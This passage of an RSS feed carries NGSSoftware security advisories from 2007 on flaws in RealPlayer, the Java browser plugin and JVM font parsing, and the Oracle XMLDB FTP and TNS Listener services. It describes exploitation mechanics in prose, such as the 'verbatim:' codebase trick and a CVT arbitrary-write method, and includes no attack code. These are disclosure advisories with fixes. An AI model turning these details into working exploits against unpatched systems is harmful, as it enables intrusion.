execution of arbitrary attacker-supplied code in the context of the user<br />
under which RealPlayer is running.</p>
<p>===============<br />
Fix Information<br />
===============<br />
This issue has now been resolved.  Steps detailing how to update RealPlayer may be obtained<br />
from:</p>
<p><a target="_blank" href="http://service.real.com/realplayer/security/10252007_player/en/">http://service.real.com/realplayer/security/10252007_player/en/</a></p>
<p>NGSSoftware Insight Security Research<br />
<a href="http://www.ngssoftware.com/">http://www.ngssoftware.com/</a><br />
<a target="_blank" href="http://www.databasesecurity.com/">http://www.databasesecurity.com/</a><br />
<a href="http://www.nextgenss.com/">http://www.nextgenss.com/</a><br />
+44(0)208 401 0070
</p>
]]></content:encoded>
			<wfw:commentRSS>http://www.ngssoftware.com/advisories/high-risk-vulnerability-in-real-player-id3-tags/feed/ </wfw:commentRSS>
		</item>
		<item>
		<title>Medium Risk Vulnerability in Java Browser Plugin</title>
		<link>http://www.ngssoftware.com/advisories/medium-risk-vulnerability-in-java-browser-plugin/ </link>
		<comments>http://www.ngssoftware.com/advisories/medium-risk-vulnerability-in-java-browser-plugin/#comments</comments>
		<pubDate>Tue, 30 Oct 2007 06:52:38 +0000</pubDate>
		<dc:creator>NGS</dc:creator>
		
	<category>advisories</category>
		<guid isPermaLink="false">http://www.ngssoftware.com/advisories/medium-risk-vulnerability-in-java-browser-plugin/</guid>
		<description><![CDATA[=======
Summary
=======
Name: Untrusted Java applet can connect to localhost
Release Date: 29 October 2007
Reference: NGS00443
Discover: John Heasman
Vendor: Sun Microsystems
Systems Affected: JDK and JRE 6 Update 1 and earlier, JDK and JRE 5.0
Update 11 and earlier, SDK and JRE 1.4.2_14 and earlier
Risk: Medium
Status: Published
========
TimeLine
========
Discovered:  1 October 2006
Released:  2 October 2006
Approved:  7 October 2006
Reported:  1 November 2006
Fixed: 18 July [...]]]></description>
			<content:encoded><![CDATA[<p>=======<br />
Summary<br />
=======<br />
Name: Untrusted Java applet can connect to localhost<br />
Release Date: 29 October 2007<br />
Reference: NGS00443<br />
Discover: <a href="mailto:john@ngssoftware.com">John Heasman</a><br />
Vendor: Sun Microsystems<br />
Systems Affected: JDK and JRE 6 Update 1 and earlier, JDK and JRE 5.0<br />
Update 11 and earlier, SDK and JRE 1.4.2_14 and earlier<br />
Risk: Medium<br />
Status: Published</p>
<p>========<br />
TimeLine<br />
========<br />
Discovered:  1 October 2006<br />
Released:  2 October 2006<br />
Approved:  7 October 2006<br />
Reported:  1 November 2006<br />
Fixed: 18 July 2007<br />
Published: 29 October 2007</p>
<p>===========<br />
Description<br />
===========<br />
The Java browser plugin shipped with versions of the JRE and JDK<br />
listed above, contains a vulnerability that allows an<br />
untrusted applet to violate the network access restrictions placed on it<br />
by the Java sandbox in order to connect to the local host.  This permits a<br />
malicious website to host an applet that is capable of port scanning the<br />
local system and exploiting vulnerable network services (e.g. unpatched<br />
vulnerabilities in MSRPC etc.)</p>
<p>=================<br />
Technical Details<br />
=================<br />
The Java browser plugin allows applets to be loaded from a remote location<br />
most typically over HTTP/HTTPs but also over a number of other supported<br />
protocols including an undocumented protocol scheme &#8220;verbatim&#8221;.  Untrusted<br />
applets are subject to network access restrictions documented at<br />
<a target="_blank" href="http://java.sun.com/sfaq/">http://java.sun.com/sfaq/</a>:</p>
<p>&#8220;Applets are not allowed to open network connections to any computer,<br />
except for the host that provided the .class files. This is either the<br />
host where the html page came from, or the host specified in the codebase<br />
parameter in the applet tag, with codebase taking precendence.&#8221;</p>
<p>By specifying a codebase URI prefixed by &#8220;verbatim:&#8221; it is possible to<br />
load an applet from a remote location but have the browser plugin believe<br />
it has been loaded from the local host.  This allows an untrusted applet<br />
to connect to and attempt to exploit network services running on the local<br />
host.  It should be noted that unlike binary sockets in Flash 9, an applet<br />
can connect to any port, not just those greater than 1024.</p>
<p>At the time of reporting this issue, NGS provided Sun with a demonstration<br />
applet that exploited MS06-040 (&#8221;Vulnerability in Server Service could<br />
allow remote code execution&#8221;) on a vulnerable XP SP1 system.</p>
<p>===============<br />
Fix Information<br />
===============<br />
This issue is addressed in the following releases (for Windows, Solaris,<br />
and Linux):</p>
<p>JDK and JRE 6 Update 2 or later<br />
JDK and JRE 5.0 Update 12 or later<br />
SDK and JRE 1.4.2_15 or later</p>
<p>Further information is available at<br />
<a target="_blank" href="http://sunsolve.sun.com/search/document.do?assetkey=1-26-102995-1">http://sunsolve.sun.com/search/document.do?assetkey=1-26-102995-1</a></p>
<p>NGSSoftware Insight Security Research<br />
<a href="http://www.ngssoftware.com/">http://www.ngssoftware.com/</a><br />
<a target="_blank" href="http://www.databasesecurity.com/">http://www.databasesecurity.com/</a><br />
<a href="http://www.nextgenss.com/">http://www.nextgenss.com/</a><br />
+44(0)208 401 0070
</p>
]]></content:encoded>
			<wfw:commentRSS>http://www.ngssoftware.com/advisories/medium-risk-vulnerability-in-java-browser-plugin/feed/ </wfw:commentRSS>
		</item>
		<item>
		<title>High Risk Vulnerability in Java Virtual Machine (TTF)</title>
		<link>http://www.ngssoftware.com/advisories/high-risk-vulnerability-in-java-virtual-machine-ttf/ </link>
		<comments>http://www.ngssoftware.com/advisories/high-risk-vulnerability-in-java-virtual-machine-ttf/#comments</comments>
		<pubDate>Tue, 30 Oct 2007 06:47:00 +0000</pubDate>
		<dc:creator>NGS</dc:creator>
		
	<category>advisories</category>
		<guid isPermaLink="false">http://www.ngssoftware.com/advisories/high-risk-vulnerability-in-java-virtual-machine-ttf/</guid>
		<description><![CDATA[=======
Summary
=======
Name: Memory overwrites in JVM via malformed TrueType font
Release Date: 29 October 2007
Reference: NGS00419
Discover: John Heasman
Vendor: Sun Microsystems
Systems Affected: JDK and JRE 5.0 Update 9 and earlier, SDK and JRE
1.4.2_14 and earlier
Risk: High
Status: Published
========
TimeLine
========
Discovered: 20 September 2006
Released: 20 September 2006
Approved: 20 September 2006
Reported:  1 November 2006
Fixed: 15 August 2007
Published: 29 October 2007
===========
Description
===========
It is possible to [...]]]></description>
			<content:encoded><![CDATA[<p>=======<br />
Summary<br />
=======<br />
Name: Memory overwrites in JVM via malformed TrueType font<br />
Release Date: 29 October 2007<br />
Reference: NGS00419<br />
Discover: <a href="mailto:john@ngssoftware.com">John Heasman</a><br />
Vendor: Sun Microsystems<br />
Systems Affected: JDK and JRE 5.0 Update 9 and earlier, SDK and JRE<br />
1.4.2_14 and earlier<br />
Risk: High<br />
Status: Published</p>
<p>========<br />
TimeLine<br />
========<br />
Discovered: 20 September 2006<br />
Released: 20 September 2006<br />
Approved: 20 September 2006<br />
Reported:  1 November 2006<br />
Fixed: 15 August 2007<br />
Published: 29 October 2007</p>
<p>===========<br />
Description<br />
===========<br />
It is possible to cause the Java Virtual Machine to overwrite an arbitrary<br />
memory location with an arbitrary value (repeatedly and in a stable manner)<br />
when parsing a malformed TrueType font.</p>
<p>Impact: By coercing a user to view a malicious web page, an attacker could<br />
instantiate an applet that executes arbitrary native code inside the<br />
browser.</p>
<p>=================<br />
Technical Details<br />
=================<br />
From <a target="_blank" href="http://en.wikipedia.org/wiki/TrueType">http://en.wikipedia.org/wiki/TrueType</a>:</p>
<p>&#8220;TrueType systems include a virtual machine that executes programs inside<br />
the font, processing the &#8220;hints&#8221; of the glyphs. These distort the control<br />
points which define the outline, with the intention that the rasterizer<br />
produces fewer undesirable features on the glyph. Each glyph&#8217;s hinting<br />
program takes account of the size (in pixels) that the glyph is being<br />
displayed at, as well as other less important factors of the display<br />
environment.</p>
<p>Although incapable of receiving input and producing output as normally<br />
understood in programming, the TrueType hinting language does offer the<br />
other prerequisites of programming languages: conditional branching (IF<br />
statements), looping an arbitrary number of times (FOR- and WHILE-type<br />
statements), variables (although these are simply numbered slots in an<br />
area of memory reserved by the font), and encapsulation of code into<br />
functions. Special instructions called &#8220;delta hints&#8221; are the lowest level<br />
control, moving a control point at just one pixel size.&#8221;</p>
<p>There are two instructions for writing values to the Control Value Table<br />
(CVT) which holds global variables that can be used by multiple glyphs.<br />
One of these functions does not perform sufficient validation on the<br />
supplied index.  This allows a font to write a scaled value relative to<br />
the base of the dynamically allocated CVT.  The scaling factor is based on<br />
the requested size of the font - setting this to 32 results in a factor of<br />
1.</p>
<p>In order to write to an arbitrary location the base of the CVT must first<br />
be determined.  The instruction to read from the CVT was also found not to<br />
validate its index, so this can be used to read memory relative to the CVT<br />
base.  At an offset of -0&#215;38 DWORDs there is a pointer to the end of the<br />
CVT; this can be used to determine the CVT base. The end result is that an<br />
arbitrary value can be written to an arbitrary value repeatedly.  An<br />
attacker can make use of the VM instructions to implement &#8220;pre-exploit&#8221;<br />
logic that determines the browser, operating system and architecture<br />
before deploying a chosen payload.  This facilitates creation of a<br />
cross-browser, cross-operating system, cross-architecture exploit.</p>
<p>===============<br />
Fix Information<br />
===============<br />
This issue is addressed in the following releases (for Solaris, Linux, and<br />
Windows):</p>
<p>JDK and JRE 5.0 Update 10 or later<br />
SDK and JRE 1.4.2_15 or later</p>
<p>Further information is available at:<br />
<a target="_blank" href="http://sunsolve.sun.com/search/document.do?assetkey=1-26-103024-1">http://sunsolve.sun.com/search/document.do?assetkey=1-26-103024-1</a></p>
<p>NGSSoftware Insight Security Research<br />
<a href="http://www.ngssoftware.com/">http://www.ngssoftware.com/</a><br />
<a target="_blank" href="http://www.databasesecurity.com/">http://www.databasesecurity.com/</a></p>
<div align="left"><a href="http://www.nextgenss.com/">http://www.nextgenss.com/</a></div>
<p>+44(0)208 401 0070
</p>
]]></content:encoded>
			<wfw:commentRSS>http://www.ngssoftware.com/advisories/high-risk-vulnerability-in-java-virtual-machine-ttf/feed/ </wfw:commentRSS>
		</item>
		<item>
		<title>High Risk Vulnerability in Oracle XMLDB FTP Service</title>
		<link>http://www.ngssoftware.com/advisories/high-risk-vulnerability-in-oracle-xmldb-ftp-service/ </link>
		<comments>http://www.ngssoftware.com/advisories/high-risk-vulnerability-in-oracle-xmldb-ftp-service/#comments</comments>
		<pubDate>Wed, 17 Oct 2007 12:55:14 +0000</pubDate>
		<dc:creator>NGS</dc:creator>
		
	<category>advisories</category>
		<guid isPermaLink="false">http://www.ngssoftware.com/advisories/high-risk-vulnerability-in-oracle-xmldb-ftp-service/</guid>
		<description><![CDATA[NGSSoftware Insight Security Research Advisory
Name: Oracle audit issue with XMLDB ftp service
Systems Affected: Oracle Oracle 9ir2, 10g Release 1
Severity: High
Vendor URL: http://www.oracle.com/
Author: David Litchfield [ davidl@ngssoftware.com ]
Reported: 9th March 2006
Date of Public Advisory: 17th October 2007
Advisory number: #NISR17102007E
Description
***********
The Oracle XML DB ftp service contains problems with auditing logins.
Details
*******
When a user attempts to log in via [...]]]></description>
			<content:encoded><![CDATA[<p>NGSSoftware Insight Security Research Advisory</p>
<p>Name: Oracle audit issue with XMLDB ftp service<br />
Systems Affected: Oracle Oracle 9ir2, 10g Release 1<br />
Severity: High<br />
Vendor URL: <a target="_blank" href="http://www.oracle.com/">http://www.oracle.com/</a><br />
Author: David Litchfield [ <a href="mailto:davidl@ngssoftware.com">davidl@ngssoftware.com</a> ]<br />
Reported: 9th March 2006<br />
Date of Public Advisory: 17th October 2007<br />
Advisory number: #NISR17102007E</p>
<p>Description<br />
***********<br />
The Oracle XML DB ftp service contains problems with auditing logins.</p>
<p>Details<br />
*******<br />
When a user attempts to log in via the XDB ftp service the audit trail shows<br />
an incorrect entry for USERID. This can present two subtle problems.<br />
Firstly, if  a user logs in as &#8220;SYSTEM&#8221; the USERID column only shows &#8220;SYSTE&#8221;<br />
- only 5 characters. The second problem is that if the same user then<br />
attempts to log in a  user &#8220;FOO&#8221;, &#8220;FOOTE&#8221; is logged in the USERID column -<br />
the &#8220;TE&#8221; coming from the &#8220;TE&#8221; of &#8220;SYSTE[M]&#8221; - the previous login. This only<br />
happens on the same  connected TCP circuit; as such all audit entries have<br />
the same SESSIONID.</p>
<p>Fix Information<br />
***************<br />
Oracle was alerted to this flaw on the 9th of March 2006. A patch has now<br />
been made available:</p>
<p><a target="_blank" href="http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2007.html">http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2007.html</a></p>
<p>NGSSQuirreL for Oracle, an advanced vulnerability assessment scanner<br />
designed specifically for Oracle, can be used to accurately determine<br />
whether your  servers is vulnerable to this flaw. More information about<br />
NGSSQuirreL for Oracle can be found here:</p>
<p><a target="_blank" href="http://www.ngssoftware.com/products/database-security/ngs-squirrel-oracle.php">http://www.ngssoftware.com/products/database-security/ngs-squirrel-oracle.php</a></p>
<p>About NGSSoftware<br />
*****************<br />
NGSSoftware develops vulnerability assessment and compliancy tools for<br />
database servers including Oracle, Microsoft SQL Server, DB2, Sybase and<br />
Informix.  Headquartered in the United Kingdom NGS has offices in London,<br />
St. Andrews (UK), Brisbane, and Perth (Australia) and seattle in the United<br />
States;  NGSConsulting provide services to some of the largest and most<br />
demanding organizations around the globe.<br />
<a href="http://www.ngssoftware.com/">http://www.ngssoftware.com/</a><br />
Telephone +44 208 401 0070<br />
Fax +44 208 401 0076<br />
<a href="mailto:enquiries@ngssoftware.com">enquiries@ngssoftware.com</a>
</p>
]]></content:encoded>
			<wfw:commentRSS>http://www.ngssoftware.com/advisories/high-risk-vulnerability-in-oracle-xmldb-ftp-service/feed/ </wfw:commentRSS>
		</item>
		<item>
		<title>High Risk Vulnerability in Oracle TNS Listener</title>
		<link>http://www.ngssoftware.com/advisories/high-risk-vulnerability-in-oracle-tns-listener/ </link>
		<comments>http://www.ngssoftware.com/advisories/high-risk-vulnerability-in-oracle-tns-listener/#comments</comments>
		<pubDate>Wed, 17 Oct 2007 12:51:12 +0000</pubDate>
		<dc:creator>NGS</dc:creator>
		
	<category>advisories</category>
		<guid isPermaLink="false">http://www.ngssoftware.com/advisories/high-risk-vulnerability-in-oracle-tns-listener/</guid>
		<description><![CDATA[NGSSoftware Insight Security Research Advisory
Name: Oracle TNS Listener DoS and/or remote memory inspection
Systems Affected: Oracle 8.1.7.4, 10g Release 2 and 1, Oracle 9
Severity: High
Vendor URL: http://www.oracle.com/
Author: David Litchfield [ davidl@ngssoftware.com ]
Reported: 22nd June 2006
Date of Public Advisory: 17th October 2007
Advisory number: #NISR17102007C
Description
***********
The TNS Listener can be crashed by an attacker causing a Denial of Service;
alternatively [...]]]></description>
			<content:encoded><![CDATA[<p>NGSSoftware Insight Security Research Advisory</p>
<p>Name: Oracle TNS Listener DoS and/or remote memory inspection<br />
Systems Affected: Oracle 8.1.7.4, 10g Release 2 and 1, Oracle 9<br />
Severity: High<br />
Vendor URL: <a target="_blank" href="http://www.oracle.com/">http://www.oracle.com/</a><br />
Author: David Litchfield [ <a target="_blank" href="mailto:davidl@ngssoftware.com">davidl@ngssoftware.com</a> ]<br />
Reported: 22nd June 2006<br />
Date of Public Advisory: 17th October 2007<br />
Advisory number: #NISR17102007C</p>
<p>Description<br />
***********<br />
The TNS Listener can be crashed by an attacker causing a Denial of Service;<br />
alternatively the attacker can use the same flaw to expose memory contents<br />
remotely. This may reveal sensitive information.</p>
<p>Details<br />
*******<br />
There is a bug in GIOP service that can allow an attacker to crash the TNS<br />
Listener and/or dump memory. A DWORD in the connect GIOP packet is trusted<br />
as the  size of the data in the packet. By setting this to a large value<br />
(e.g. 0&#215;1FFFF) causes the listener to allocate this much memory then attempt<br />
to copy this  much data to it - which eventually leads to a read access<br />
violation because the source data is less than this number and the process<br />
lands in uninitialized  memory. If the attacker uses a smaller number, e.g.<br />
0xFFFF they can dump this many bytes from memory. This may reveal sensitive<br />
information such as the TNS  Listener password.</p>
<p>Fix Information<br />
***************<br />
Oracle was alerted to this flaw on the 22nd of June 2006. A patch has now<br />
been made available:</p>
<p><a target="_blank" href="http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2007.html">http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2007.html</a></p>
<p>NGSSQuirreL for Oracle, an advanced vulnerability assessment scanner<br />
designed specifically for Oracle, can be used to accurately determine<br />
whether your servers is vulnerable to this flaw. More information about<br />
NGSSQuirreL for Oracle can be found here:</p>
<p><a target="_blank" href="http://www.ngssoftware.com/products/database-security/ngs-squirrel-oracle.php">http://www.ngssoftware.com/products/database-security/ngs-squirrel-oracle.php</a></p>
<p>About NGSSoftware<br />
*****************<br />
NGSSoftware develops vulnerability assessment and compliancy tools for<br />
database servers including Oracle, Microsoft SQL Server, DB2, Sybase and<br />
Informix.  Headquartered in the United Kingdom NGS has offices in London,<br />
St. Andrews (UK), Brisbane, and Perth (Australia) and seattle in the United<br />
States;  NGSConsulting provide services to some of the largest and most<br />
demanding organizations around the globe.<br />
<a href="http://www.ngssoftware.com/">http://www.ngssoftware.com/</a><br />
Telephone +44 208 401 0070<br />
Fax +44 208 401 0076<br />
<a href="mailto:enquiries@ngssoftware.com">enquiries@ngssoftware.com</a>
</p>
]]></content:encoded>
			<wfw:commentRSS>http://www.ngssoftware.com/advisories/high-risk-vulnerability-in-oracle-tns-listener/feed/ </wfw:commentRSS>
		</item>
	</channel>
</rss>
